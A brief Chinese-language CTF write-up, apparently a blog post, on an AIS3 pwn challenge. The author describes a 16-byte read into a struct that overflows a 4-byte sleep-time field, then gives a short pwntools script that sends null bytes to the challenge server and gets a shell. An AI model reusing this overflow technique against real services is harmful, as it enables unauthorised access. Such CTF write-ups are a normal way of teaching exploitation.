因為賽後才寫,比賽早就關了,所以沒圖
丟個 watame 鎮樓

題目給了程式本身
執行後會先 sleep 個 10 秒左右

接著要使用者輸入下一個 sleep 要多久
輸入個 0 跳過

但到這邊就卡死了
開個 ida 起來看一下程式長怎樣

看起來是讀了長度 16 進 t.buf 後轉換成 t.times 後 sleep
後面還有一個 t.moretimes
看一下 Timer 的結構長怎樣

可以看到 t.times 才 4 bytes 長,而 t.buf 吃了 16 bytes 的長度
所以看起來就是單純的 buffer overflow
這邊因為希望 times 跟 moretimes 都越小越好,所以這 16 bytes 都填 0 就好
script 如下
from pwn import *
r = remote("quiz.ais3.org",5001)
# nc quiz.ais3.org 5001
inp = b"\x00" * 16
with open("inp","wb") as f:
f.write(inp)
r.recvuntil("need more ?")
r.send(inp)
r.interactive()Code language: PHP (php)
等待 10 秒後就能拿到 shell 了
